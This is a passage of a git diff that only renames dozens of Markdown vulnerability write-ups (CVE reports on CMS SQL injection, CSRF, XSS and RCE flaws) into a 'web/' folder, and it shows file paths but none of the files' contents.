\350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" diff --git "a/CVE-2019-16131 OKLite v1.2.25 \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" "b/web/CVE-2019-16131 OKLite v1.2.25 \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-16131 OKLite v1.2.25 \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" rename to "web/CVE-2019-16131 OKLite v1.2.25 \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" diff --git "a/CVE-2019-16132 OKLite v1.2.25 \345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\345\210\240\351\231\244\346\274\217\346\264\236.md" "b/web/CVE-2019-16132 OKLite v1.2.25 \345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\345\210\240\351\231\244\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-16132 OKLite v1.2.25 \345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\345\210\240\351\231\244\346\274\217\346\264\236.md" rename to "web/CVE-2019-16132 OKLite v1.2.25 \345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\345\210\240\351\231\244\346\274\217\346\264\236.md" diff --git a/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md b/web/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md similarity index 100% rename from CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md rename to web/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md diff --git "a/CVE-2019-16309 FlameCMS 3.3.5 \345\220\216\345\217\260\347\231\273\345\275\225\345\244\204\345\255\230\345\234\250sql\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/CVE-2019-16309 FlameCMS 3.3.5 \345\220\216\345\217\260\347\231\273\345\275\225\345\244\204\345\255\230\345\234\250sql\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-16309 FlameCMS 3.3.5 \345\220\216\345\217\260\347\231\273\345\275\225\345\244\204\345\255\230\345\234\250sql\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/CVE-2019-16309 FlameCMS 3.3.5 \345\220\216\345\217\260\347\231\273\345\275\225\345\244\204\345\255\230\345\234\250sql\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/CVE-2019-16314 indexhibit cms v2.1.5 \345\255\230\345\234\250\351\207\215\350\243\205\345\271\266\345\257\274\350\207\264getshell.md" "b/web/CVE-2019-16314 indexhibit cms v2.1.5 \345\255\230\345\234\250\351\207\215\350\243\205\345\271\266\345\257\274\350\207\264getshell.md" similarity index 100% rename from "CVE-2019-16314 indexhibit cms v2.1.5 \345\255\230\345\234\250\351\207\215\350\243\205\345\271\266\345\257\274\350\207\264getshell.md" rename to "web/CVE-2019-16314 indexhibit cms v2.1.5 \345\255\230\345\234\250\351\207\215\350\243\205\345\271\266\345\257\274\350\207\264getshell.md" diff --git a/CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md b/web/CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md similarity index 100% rename from CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md rename to web/CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md diff --git a/CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass.md b/web/CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass.md similarity index 100% rename from CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass.md rename to web/CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass.md diff --git "a/CVE-2019-2890-Oracle WebLogic \345\217\215\345\272\217\345\210\227\345\214\226\344\270\245\351\207\215\346\274\217\346\264\236.md" "b/web/CVE-2019-2890-Oracle WebLogic \345\217\215\345\272\217\345\210\227\345\214\226\344\270\245\351\207\215\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-2890-Oracle WebLogic \345\217\215\345\272\217\345\210\227\345\214\226\344\270\245\351\207\215\346\274\217\346\264\236.md" rename to "web/CVE-2019-2890-Oracle WebLogic \345\217\215\345\272\217\345\210\227\345\214\226\344\270\245\351\207\215\346\274\217\346\264\236.md" diff --git "a/CVE-2019-7580 thinkcmf-5.0.190111\345\220\216\345\217\260\344\273\273\346\204\217\346\226\207\344\273\266\345\206\231\345\205\245\345\257\274\350\207\264\347\232\204\344\273\243\347\240\201\346\211\247\350\241\214.md" "b/web/CVE-2019-7580 thinkcmf-5.0.190111\345\220\216\345\217\260\344\273\273\346\204\217\346\226\207\344\273\266\345\206\231\345\205\245\345\257\274\350\207\264\347\232\204\344\273\243\347\240\201\346\211\247\350\241\214.md" similarity index 100% rename from "CVE-2019-7580 thinkcmf-5.0.190111\345\220\216\345\217\260\344\273\273\346\204\217\346\226\207\344\273\266\345\206\231\345\205\245\345\257\274\350\207\264\347\232\204\344\273\243\347\240\201\346\211\247\350\241\214.md" rename to "web/CVE-2019-7580 thinkcmf-5.0.190111\345\220\216\345\217\260\344\273\273\346\204\217\346\226\207\344\273\266\345\206\231\345\205\245\345\257\274\350\207\264\347\232\204\344\273\243\347\240\201\346\211\247\350\241\214.md" diff --git "a/CVE-2019-7609-kibana\344\275\216\344\272\2166.6.0\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\345\221\275\344\273\244\346\211\247\350\241\214.md" "b/web/CVE-2019-7609-kibana\344\275\216\344\272\2166.6.0\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\345\221\275\344\273\244\346\211\247\350\241\214.md" similarity index 100% rename from "CVE-2019-7609-kibana\344\275\216\344\272\2166.6.0\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\345\221\275\344\273\244\346\211\247\350\241\214.md" rename to "web/CVE-2019-7609-kibana\344\275\216\344\272\2166.6.0\346\234\252\346\216\210\346\235\203\350\277\234\347\250\213\344\273\243\347\240\201\345\221\275\344\273\244\346\211\247\350\241\214.md" diff --git "a/CVE-2020-0554\357\274\232phpMyAdmin\345\220\216\345\217\260SQL\346\263\250\345\205\245.md" "b/web/CVE-2020-0554\357\274\232phpMyAdmin\345\220\216\345\217\260SQL\346\263\250\345\205\245.md" similarity index 100% rename from "CVE-2020-0554\357\274\232phpMyAdmin\345\220\216\345\217\260SQL\346\263\250\345\205\245.md" rename to "web/CVE-2020-0554\357\274\232phpMyAdmin\345\220\216\345\217\260SQL\346\263\250\345\205\245.md" diff --git "a/CVE-2020-3452\357\274\232Cisco_ASAFTD\344\273\273\346\204\217\346\226\207\344\273\266\350\257\273\345\217\226\346\274\217\346\264\236.md" "b/web/CVE-2020-3452\357\274\232Cisco_ASAFTD\344\273\273\346\204\217\346\226\207\344\273\266\350\257\273\345\217\226\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2020-3452\357\274\232Cisco_ASAFTD\344\273\273\346\204\217\346\226\207\344\273\266\350\257\273\345\217\226\346\274\217\346\264\236.md" rename to "web/CVE-2020-3452\357\274\232Cisco_ASAFTD\344\273\273\346\204\217\346\226\207\344\273\266\350\257\273\345\217\226\346\274\217\346\264\236.md" diff --git "a/CVE-2020-8794-OpenSMTPD \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" "b/web/CVE-2020-8794-OpenSMTPD \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2020-8794-OpenSMTPD \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" rename to "web/CVE-2020-8794-OpenSMTPD \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" diff --git a/CVE-2020-8813 - Cacti v1.2.8 RCE.md b/web/CVE-2020-8813 - Cacti v1.2.8 RCE.md similarity index 100% rename from CVE-2020-8813 - Cacti v1.2.8 RCE.md rename to web/CVE-2020-8813 - Cacti v1.2.8 RCE.md diff --git "a/Cobub Razor 0.7.2\345\255\230\345\234\250\350\267\250\347\253\231\350\257\267\346\261\202\344\274\252\351\200\240\346\274\217\346\264\236.md" "b/web/Cobub Razor 0.7.2\345\255\230\345\234\250\350\267\250\347\253\231\350\257\267\346\261\202\344\274\252\351\200\240\346\274\217\346\264\236.md" similarity index 100% rename from "Cobub Razor 0.7.2\345\255\230\345\234\250\350\267\250\347\253\231\350\257\267\346\261\202\344\274\252\351\200\240\346\274\217\346\264\236.md" rename to "web/Cobub Razor 0.7.2\345\255\230\345\234\250\350\267\250\347\253\231\350\257\267\346\261\202\344\274\252\351\200\240\346\274\217\346\264\236.md" diff --git "a/Cobub Razor 0.7.2\350\266\212\346\235\203\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/Cobub Razor 0.7.2\350\266\212\346\235\203\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "Cobub Razor 0.7.2\350\266\212\346\235\203\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/Cobub Razor 0.7.2\350\266\212\346\235\203\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git "a/Cobub Razor 0.8.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/Cobub Razor 0.8.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "Cobub Razor 0.8.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/Cobub Razor 0.8.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/Cobub Razor 0.8.0\345\255\230\345\234\250\347\211\251\347\220\206\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" "b/web/Cobub Razor 0.8.0\345\255\230\345\234\250\347\211\251\347\220\206\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" similarity index 100% rename from "Cobub Razor 0.8.0\345\255\230\345\234\250\347\211\251\347\220\206\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" rename to "web/Cobub Razor 0.8.0\345\255\230\345\234\250\347\211\251\347\220\206\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" diff --git "a/Couch through 2.0\345\255\230\345\234\250\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" "b/web/Couch through 2.0\345\255\230\345\234\250\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" similarity index 100% rename from "Couch through 2.0\345\255\230\345\234\250\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" rename to "web/Couch through 2.0\345\255\230\345\234\250\350\267\257\345\276\204\346\263\204\351\234\262\346\274\217\346\264\236.md" diff --git "a/DomainMod\347\232\204XSS\351\233\206\345\220\210.md" "b/web/DomainMod\347\232\204XSS\351\233\206\345\220\210.md" similarity index 100% rename from "DomainMod\347\232\204XSS\351\233\206\345\220\210.md" rename to "web/DomainMod\347\232\204XSS\351\233\206\345\220\210.md" diff --git "a/Easy File Sharing Web Server 7.2 - GET \347\274\223\345\206\262\345\214\272\346\272\242\345\207\272 (SEH).md" "b/web/Easy File Sharing Web Server 7.2 - GET \347\274\223\345\206\262\345\214\272\346\272\242\345\207\272 (SEH).md" similarity index 100% rename from "Easy File Sharing Web Server 7.2 - GET \347\274\223\345\206\262\345\214\272\346\272\242\345\207\272 (SEH).md" rename to "web/Easy File Sharing Web Server 7.2 - GET \347\274\223\345\206\262\345\214\272\346\272\242\345\207\272 (SEH).md" diff --git "a/FineCMS_v5.0.8\344\270\244\345\244\204getshell.md" "b/web/FineCMS_v5.0.8\344\270\244\345\244\204getshell.md" similarity index 100% rename from "FineCMS_v5.0.8\344\270\244\345\244\204getshell.md" rename to "web/FineCMS_v5.0.8\344\270\244\345\244\204getshell.md" diff --git "a/Finecms_v5.4\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\344\277\256\346\224\271\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267\345\257\206\347\240\201.md" "b/web/Finecms_v5.4\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\344\277\256\346\224\271\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267\345\257\206\347\240\201.md" similarity index 100% rename from "Finecms_v5.4\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\344\277\256\346\224\271\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267\345\257\206\347\240\201.md" rename to "web/Finecms_v5.4\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\344\277\256\346\224\271\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267\345\257\206\347\240\201.md" diff --git "a/GreenCMS v2.3.0603\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\350\216\267\345\217\226webshell&\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/GreenCMS v2.3.0603\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\350\216\267\345\217\226webshell&\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "GreenCMS v2.3.0603\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\350\216\267\345\217\226webshell&\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/GreenCMS v2.3.0603\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\350\216\267\345\217\226webshell&\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git "a/Hucart cms v5.7.4 CSRF\346\274\217\346\264\236\345\217\257\344\273\273\346\204\217\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\345\217\267.md" "b/web/Hucart cms v5.7.4 CSRF\346\274\217\346\264\236\345\217\257\344\273\273\346\204\217\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\345\217\267.md" similarity index 100% rename from "Hucart cms v5.7.4 CSRF\346\274\217\346\264\236\345\217\257\344\273\273\346\204\217\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\345\217\267.md" rename to "web/Hucart cms v5.7.4 CSRF\346\274\217\346\264\236\345\217\257\344\273\273\346\204\217\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\345\217\267.md" diff --git a/Joomla-3.4.6-RCE.md b/web/Joomla-3.4.6-RCE.md similarity index 100% rename from Joomla-3.4.6-RCE.md rename to web/Joomla-3.4.6-RCE.md diff --git "a/LFCMS 3.7.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\346\267\273\345\212\240\344\273\273\346\204\217\347\224\250\346\210\267\350\264\246\346\210\267\346\210\226\344\273\273\346\204\217\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/LFCMS 3.7.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\346\267\273\345\212\240\344\273\273\346\204\217\347\224\250\346\210\267\350\264\246\346\210\267\346\210\226\344\273\273\346\204\217\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "LFCMS 3.7.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\346\267\273\345\212\240\344\273\273\346\204\217\347\224\250\346\210\267\350\264\246\346\210\267\346\210\226\344\273\273\346\204\217\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/LFCMS 3.7.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\346\267\273\345\212\240\344\273\273\346\204\217\347\224\250\346\210\267\350\264\246\346\210\267\346\210\226\344\273\273\346\204\217\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git "a/MetInfoCMS 5.X\347\211\210\346\234\254GETSHELL\346\274\217\346\264\236\345\220\210\351\233\206.md" "b/web/MetInfoCMS 5.X\347\211\210\346\234\254GETSHELL\346\274\217\346\264\236\345\220\210\351\233\206.md" similarity index 100% rename from "MetInfoCMS 5.X\347\211\210\346\234\254GETSHELL\346\274\217\346\264\236\345\220\210\351\233\206.md" rename to "web/MetInfoCMS 5.X\347\211\210\346\234\254GETSHELL\346\274\217\346\264\236\345\220\210\351\233\206.md" diff --git "a/Metinfo-6.1.2\347\211\210\346\234\254\345\255\230\345\234\250XSS\346\274\217\346\264\236&SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/Metinfo-6.1.2\347\211\210\346\234\254\345\255\230\345\234\250XSS\346\274\217\346\264\236&SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "Metinfo-6.1.2\347\211\210\346\234\254\345\255\230\345\234\250XSS\346\274\217\346\264\236&SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/Metinfo-6.1.2\347\211\210\346\234\254\345\255\230\345\234\250XSS\346\274\217\346\264\236&SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/MiniCMS 1.10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/MiniCMS 1.10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "MiniCMS 1.10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/MiniCMS 1.10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git "a/S-CMS PHP v3.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/S-CMS PHP v3.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "S-CMS PHP v3.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/S-CMS PHP v3.0\345\255\230\345\234\250SQL\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/S-CMS\344\274\201\344\270\232\345\273\272\347\253\231\347\263\273\347\273\237PHP\347\211\210v3.0\345\220\216\345\217\260\345\255\230\345\234\250CSRF\345\217\257\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\346\235\203\351\231\220\350\264\246\345\217\267.md" "b/web/S-CMS\344\274\201\344\270\232\345\273\272\347\253\231\347\263\273\347\273\237PHP\347\211\210v3.0\345\220\216\345\217\260\345\255\230\345\234\250CSRF\345\217\257\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\346\235\203\351\231\220\350\264\246\345\217\267.md" similarity index 100% rename from "S-CMS\344\274\201\344\270\232\345\273\272\347\253\231\347\263\273\347\273\237PHP\347\211\210v3.0\345\220\216\345\217\260\345\255\230\345\234\250CSRF\345\217\257\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\346\235\203\351\231\220\350\264\246\345\217\267.md" rename to "web/S-CMS\344\274\201\344\270\232\345\273\272\347\253\231\347\263\273\347\273\237PHP\347\211\210v3.0\345\220\216\345\217\260\345\255\230\345\234\250CSRF\345\217\257\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\346\235\203\351\231\220\350\264\246\345\217\267.md" diff --git "a/ThinkCMF\346\274\217\346\264\236\345\205\250\351\233\206\345\222\214.md" "b/web/ThinkCMF\346\274\217\346\264\236\345\205\250\351\233\206\345\222\214.md" similarity index 100% rename from "ThinkCMF\346\274\217\346\264\236\345\205\250\351\233\206\345\222\214.md" rename to "web/ThinkCMF\346\274\217\346\264\236\345\205\250\351\233\206\345\222\214.md" diff --git "a/WDJACMS1.5.2\346\250\241\346\235\277\346\263\250\345\205\245\346\274\217\346\264\236.md" "b/web/WDJACMS1.5.2\346\250\241\346\235\277\346\263\250\345\205\245\346\274\217\346\264\236.md" similarity index 100% rename from "WDJACMS1.5.2\346\250\241\346\235\277\346\263\250\345\205\245\346\274\217\346\264\236.md" rename to "web/WDJACMS1.5.2\346\250\241\346\235\277\346\263\250\345\205\245\346\274\217\346\264\236.md" diff --git "a/YzmCMS 3.6\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" "b/web/YzmCMS 3.6\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" similarity index 100% rename from "YzmCMS 3.6\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" rename to "web/YzmCMS 3.6\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" diff --git "a/Z-Blog 1.5.1.1740\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" "b/web/Z-Blog 1.5.1.1740\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" similarity index 100% rename from "Z-Blog 1.5.1.1740\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" rename to "web/Z-Blog 1.5.1.1740\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" diff --git a/ZZCMS201910 SQL Injections.md b/web/ZZCMS201910 SQL Injections.md similarity index 100% rename from ZZCMS201910 SQL Injections.md rename to web/ZZCMS201910 SQL Injections.md diff --git "a/Zblog\351\273\230\350\256\244Theme_csrf+\345\202\250\345\255\230xss+getshell.md" "b/web/Zblog\351\273\230\350\256\244Theme_csrf+\345\202\250\345\255\230xss+getshell.md" similarity index 100% rename from "Zblog\351\273\230\350\256\244Theme_csrf+\345\202\250\345\255\230xss+getshell.md" rename to "web/Zblog\351\273\230\350\256\244Theme_csrf+\345\202\250\345\255\230xss+getshell.md" diff --git "a/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272\351\231\204PoC.md" "b/web/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272\351\231\204PoC.md" similarity index 100% rename from "cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272\351\231\204PoC.md" rename to "web/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272\351\231\204PoC.md" diff --git "a/freeFTP1.0.8-'PASS'\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272.md" "b/web/freeFTP1.0.8-'PASS'\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272.md" similarity index 100% rename from "freeFTP1.0.8-'PASS'\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272.md" rename to "web/freeFTP1.0.8-'PASS'\350\277\234\347\250\213\347\274\223\345\206\262\345\214\272\346\272\242\345\207\272.md" diff --git "a/indexhibit cms v2.1.5 \347\233\264\346\216\245\347\274\226\350\276\221php\346\226\207\344\273\266getshell.md" "b/web/indexhibit cms v2.1.5 \347\233\264\346\216\245\347\274\226\350\276\221php\346\226\207\344\273\266getshell.md" similarity index 100% rename from "indexhibit cms v2.1.5 \347\233\264\346\216\245\347\274\226\350\276\221php\346\226\207\344\273\266getshell.md" rename to "web/indexhibit cms v2.1.5 \347\233\264\346\216\245\347\274\226\350\276\221php\346\226\207\344\273\266getshell.md" diff --git "a/joyplus-cms 1.6.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/joyplus-cms 1.6.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "joyplus-cms 1.6.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/joyplus-cms 1.6.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git "a/maccms_v10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\344\273\273\346\204\217\350\264\246\345\217\267.md" "b/web/maccms_v10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\344\273\273\346\204\217\350\264\246\345\217\267.md" similarity index 100% rename from "maccms_v10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\344\273\273\346\204\217\350\264\246\345\217\267.md" rename to "web/maccms_v10\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\344\273\273\346\204\217\350\264\246\345\217\267.md" diff --git "a/rConfig v3.9.2 RCE\346\274\217\346\264\236.md" "b/web/rConfig v3.9.2 RCE\346\274\217\346\264\236.md" similarity index 100% rename from "rConfig v3.9.2 RCE\346\274\217\346\264\236.md" rename to "web/rConfig v3.9.2 RCE\346\274\217\346\264\236.md" diff --git "a/showdoc\347\232\204api_page\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240getshell.md" "b/web/showdoc\347\232\204api_page\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240getshell.md" similarity index 100% rename from "showdoc\347\232\204api_page\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240getshell.md" rename to "web/showdoc\347\232\204api_page\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240getshell.md" diff --git a/solr_rce.md b/web/solr_rce.md similarity index 100% rename from solr_rce.md rename to web/solr_rce.md diff --git "a/thinkphp5\345\221\275\344\273\244\346\211\247\350\241\214.md" "b/web/thinkphp5\345\221\275\344\273\244\346\211\247\350\241\214.md" similarity index 100% rename from "thinkphp5\345\221\275\344\273\244\346\211\247\350\241\214.md" rename to "web/thinkphp5\345\221\275\344\273\244\346\211\247\350\241\214.md" diff --git "a/thinkphp5\346\241\206\346\236\266\347\274\272\351\231\267\345\257\274\350\207\264\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214.md" "b/web/thinkphp5\346\241\206\346\236\266\347\274\272\351\231\267\345\257\274\350\207\264\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214.md" similarity index 100% rename from "thinkphp5\346\241\206\346\236\266\347\274\272\351\231\267\345\257\274\350\207\264\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214.md" rename to "web/thinkphp5\346\241\206\346\236\266\347\274\272\351\231\267\345\257\274\350\207\264\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214.md" diff --git "a/typecho\345\217\215\345\272\217\345\210\227\345\214\226\346\274\217\346\264\236.md" "b/web/typecho\345\217\215\345\272\217\345\210\227\345\214\226\346\274\217\346\264\236.md" similarity index 100% rename from "typecho\345\217\215\345\272\217\345\210\227\345\214\226\346\274\217\346\264\236.md" rename to "web/typecho\345\217\215\345\272\217\345\210\227\345\214\226\346\274\217\346\264\236.md" diff --git "a/yii2-statemachine v2.x.x\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" "b/web/yii2-statemachine v2.x.x\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" similarity index 100% rename from "yii2-statemachine v2.x.x\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" rename to "web/yii2-statemachine v2.x.x\345\255\230\345\234\250XSS\346\274\217\346\264\236.md" diff --git "a/zzzcms(asp)\345\211\215\345\217\260Getshell.md" "b/web/zzzcms(asp)\345\211\215\345\217\260Getshell.md" similarity index 100% rename from "zzzcms(asp)\345\211\215\345\217\260Getshell.md" rename to "web/zzzcms(asp)\345\211\215\345\217\260Getshell.md" diff --git "a/\343\200\2200day RCE\343\200\221Horde Groupware Webmail Edition RCE.md" "b/web/\343\200\2200day RCE\343\200\221Horde Groupware Webmail Edition RCE.md" similarity index 100% rename from "\343\200\2200day RCE\343\200\221Horde Groupware Webmail Edition RCE.md" rename to "web/\343\200\2200day RCE\343\200\221Horde Groupware Webmail Edition RCE.md" diff --git "a/\344\272\224\346\214\207CMS 4.1.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" "b/web/\344\272\224\346\214\207CMS 4.1.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" similarity index 100% rename from "\344\272\224\346\214\207CMS 4.1.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" rename to "web/\344\272\224\346\214\207CMS 4.1.0\345\255\230\345\234\250CSRF\346\274\217\346\264\236\345\217\257\345\242\236\345\212\240\347\256\241\347\220\206\345\221\230\350\264\246\346\210\267.md" diff --git 